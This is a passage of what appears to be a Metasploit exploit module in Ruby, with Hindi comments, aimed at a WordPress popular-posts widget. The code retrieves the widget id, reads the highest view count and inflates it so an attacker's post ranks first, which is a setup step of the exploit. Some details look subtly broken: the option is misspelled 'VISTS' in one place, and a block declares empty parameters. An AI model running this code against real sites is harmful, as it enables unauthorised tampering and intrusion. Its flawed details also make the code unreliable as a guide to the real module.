fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res end def get_top_posts print_status('सबसे अधिक दृश्य वाली पोस्ट का निर्धारण कर रहा है') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("शीर्ष दृश्य: #{views}") views += 5 # हमें शीर्ष पोस्ट बनाएं unless datastore['VISTS'].nil? print_status("VISITS सेट होने के कारण पोस्ट गणना ओवरराइड कर रहा है, #{views} से #{datastore['VISITS']} तक") views = datastore['VISITS'] end views end def get_widget # विजेट आईडी प्राप्त करने के लिए होम पेज लोड करें। कभी-कभी हम विजेट को रीफ्रेश करते समय हिट करते हैं और यह जवाब नहीं देता # जो एक्सप्लॉइट को मार देगा, इसलिए इस मामले में हम प्रयास करते रहते हैं। (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # विजेट को सीधे लोड करें (1..10).each do |